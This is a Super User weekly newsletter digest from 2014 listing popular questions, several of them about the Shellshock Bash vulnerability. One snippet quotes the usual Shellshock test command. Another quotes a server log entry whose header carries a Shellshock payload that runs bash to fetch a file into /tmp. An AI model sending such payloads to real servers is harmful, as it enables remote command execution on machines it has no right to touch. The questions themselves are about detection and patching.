Super User Weekly Newsletter - Tuesday, September 30, 2014

Top new questions this week: When data gets deleted from your Recycle Bin, what happens to it? Correct me if I'm wrong here, but when you "delete" something from your PC all your computer does is write over some of the binary with 0's replacing the 1's. (Or something to that effect) So when … windows-7 recycle-bin   asked by Shea A. 40 votes answered by Boann 79 votes Does the Shellshock bug affect ZSH? Does the Shellshock Bash bug affect ZSH? Is upgrading Bash the only solution? bash zsh shellshock   asked by stephenmurdoch 36 votes answered by mente 32 votes What is the relationship between Unix, Linux, Ubuntu and Debian? What is the relationship between Unix, Linux, Ubuntu, and Debian? I suspect they are all Operating Systems that are based upon one another - similar to how Windows is based on DOS. Is my suspicion … linux ubuntu unix debian operating-systems   asked by IremadzeArchil19910311 36 votes answered by Matthew Williams 35 votes How do I fix the shellshock security vulnerability in debian testing/jessie? the test command x='() { :;}; echo vulnerable' bash shows that my debian jessie installation is vulnerable, even with the latest updates. Research shows that there's a patch for stable and … linux security debian shellshock   asked by John Lawrence Aspden 24 votes answered by wurtel 5 votes How do I patch the shellshock vulnerability on an obsolete Ubuntu system that I can't upgrade? I have a system that I administer remotely (2 timezones away) that runs Ubuntu 9.04, Jaunty. For various reasons, mainly that I'm really leery about trying to do a distribution upgrade from so far … linux ubuntu patch shellshock   asked by Claus 20 votes answered by unkilbeeg 26 votes Can a new battery go bad if unused My old 2008 macbook's power adapter died recently and since I was not sure if the problem was it or the battery, I ordered a new generic battery as well just to speed things up. After I received my … laptop battery   asked by Dude named Ben 16 votes answered by Jamie Hanrahan 22 votes Is this an attack or something to be concerned about? Shellshock? Saw this in the access.log on my test server : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > … security shell-script webserver   asked by davidkonrad 15 votes answered by T.C. 13 votes Greatest hits from previous weeks: Inverting direction of mouse scroll wheel Is there a way to make a mouse scroll wheel invert its direction? I'd like to scroll upwards and have that action scroll downwards and vice-versa. There is no setting on the Mouse control panel that … windows-7 mouse scroll-wheel   asked by Christian Correa 114 votes answered by Richard 140 votes Convert a column into a comma separated list I have the task of creating a simple Excel sheet that takes an unspecified number of rows in Column A like this: 1234 123461 123151 11321 And make them into a comma-separated list in another cell … microsoft-excel   asked by muncherelli 41 votes answered by muncherelli 8 votes Can you answer these? Can I add multi-mode fiber optic media converter at any point of my network previously distributed in single-mode fiber optic? I have used single-mode fiber optic media converter in my whole network. But my Fiber Optic cables have 2-pair of optical wires. I only use one of them for single-mode purpose. Now I want to introduce … networking optical-drive optical-cable   asked by Subhajit Mahato 2 votes Extract large archive with 7-zip I have a 76 GB disk image that's split in 28 files (Foo.7z.001 to Foo.7z.028) in "Storage" format and I want to extract it into my D: drive (which has 523 GB available). I've tried all 7-Zip settings: … windows-8.1 7-zip   asked by Álvaro G. Vicario 2 votes Playing nokia's bounce again Remember nokia's good ol' bounce game? Got a feeling of nostalgia all of a sudden and want to play this again. The java file is readily available on the net, but imports some libraries from the … nokia   asked by simonzack 2 votes

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